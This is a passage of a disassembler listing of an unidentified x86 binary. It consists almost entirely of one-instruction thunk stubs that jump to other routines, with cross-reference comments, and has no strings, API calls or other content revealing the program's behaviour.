sub_403530+DBp ; sub_404010+3Fp ... jmp sub_40A800 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2F0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_4068E0+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E760+FFp ; sub_41E760+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1F0+7p jmp sub_40A210 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B510+76p jmp sub_40B470 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_44541Co jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E760+18Ep ; ___:0043C483j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416EDFp jmp sub_417EF0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E760+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427990+90p jmp sub_427C50 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF20+3p ; ___:0040BFEFp ... jmp sub_40C160 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413251p jmp sub_415770 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAB1p ; ___:0040BB78p ... jmp sub_412B70 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416460+7p jmp sub_416840 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_418430+34p jmp sub_404C70 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C20 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420630+152p jmp sub_4208A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B110+3p ... jmp sub_41B140 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B26Cj ... jmp sub_416E10 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_410030+217p ; sub_41FE90+4Cp ... jmp sub_41FE50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp jmp sub_41AE30 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414295p ; sub_414E10+1B2p jmp sub_413E70 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p jmp sub_40A1F0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp jmp sub_4204D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p jmp sub_40ACA0 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p ; ___:00414C60p ... jmp sub_415710 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B060 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp jmp sub_419130 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B226j ... jmp sub_4179F0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E760+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42ACB0 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_4134A0+43p ; sub_4148A0+4Fp ... jmp sub_415820 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B470+6Dp jmp sub_40BE70 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409530+13p jmp sub_409660 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B110 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F068o jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413C01p jmp sub_413A80 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413263p ; sub_4132F0+32p jmp sub_4155B0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C4Bp ; ___:0043B18Cj ... jmp sub_417120 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420F10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404CC0+283p ; sub_40EE40+D2p ... jmp sub_40F060 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p jmp sub_406730 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FD00+39o jmp loc_41FC30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC86p ; ___:0041AD66p jmp sub_41A990 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419320 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep ; sub_411BE0+3p jmp sub_411B20 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E760+F5p ; sub_41E760+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409530+4p ; sub_4096E0+1Fp ... jmp sub_4095E0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B10 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F960+20p ; sub_42AD90+37p jmp sub_41FF50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap ; ___:00414C0Fp ... jmp sub_415500 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A510+A8p jmp sub_40A930 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC90+41p jmp sub_40CF40 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp ; sub_40AAD0+91p jmp sub_40A9F0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41AC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp ; ___:0040408Fp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F050o jmp sub_416D30 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_40FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B709p ; ___:0040BB26p ... jmp sub_40B600 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p ; sub_410030+E6Ap jmp sub_411BE0 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp jmp sub_414710 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416E8Fp jmp sub_40B190 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133B0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E760+477p jmp sub_4201F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411C10 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_4292B0 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BDBp ; sub_416D30+3p ... jmp sub_416D00 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420E00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F9Fp ; ___:00413054p ... jmp sub_404690 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409530+1Ap ; sub_409610+4p ... jmp sub_4095A0 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_40FE40 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427990 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep jmp sub_416650 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A70+3p jmp sub_414AA0 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:0040829Bp ; ___:0040872Cp jmp sub_409570 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420630+191p ; sub_4228C0+3p ... jmp sub_4208C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416F4Ap jmp sub_418200 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404CC0+40Cp ... jmp sub_40A780 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp ; sub_41F030+52Fp jmp sub_41FE90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415570+1Fp jmp sub_415ED0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F50+Fp ... jmp sub_409E80 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_4120B0 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FC33o jmp sub_41FB90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp ; sub_403F30+3Bp ... jmp sub_403D60 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135E0+66p ; sub_4135E0+CAp ... jmp sub_415740 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C2Bp ; ___:0043B1A8j ... jmp sub_40B250 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421864p ; ___:0042189Ep jmp sub_4216D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404C30+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:0041700Fp jmp sub_418A00 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBD0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_4170B0+28p jmp sub_418990 sub_401B1D endp ; --------------------------------------------------------------------------- jmp loc_432D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF80 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D7Bp ; sub_418F90+28p ... jmp sub_419050 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B7Bp ; ___:0043B242j ... jmp sub_417AD0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087CBp ; ___:004087ECp ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:004295EFp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A990+11p jmp sub_41A9C0 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E760+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D40+3p jmp sub_414D70 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_40FE70+38p ; ___:0043A458j jmp sub_412C90 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D660 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B510 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F084o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_410030+413p ; sub_410030+F69p ... jmp sub_40A040 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C040+23p ; sub_40C200+11p jmp sub_40C3A0 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E240 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409610+20p jmp sub_4096E0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o jmp sub_40CC90 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415820+5p ; sub_415A30+6p ... jmp sub_416480 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p jmp sub_41B500 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_429510+3p jmp sub_429540 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE 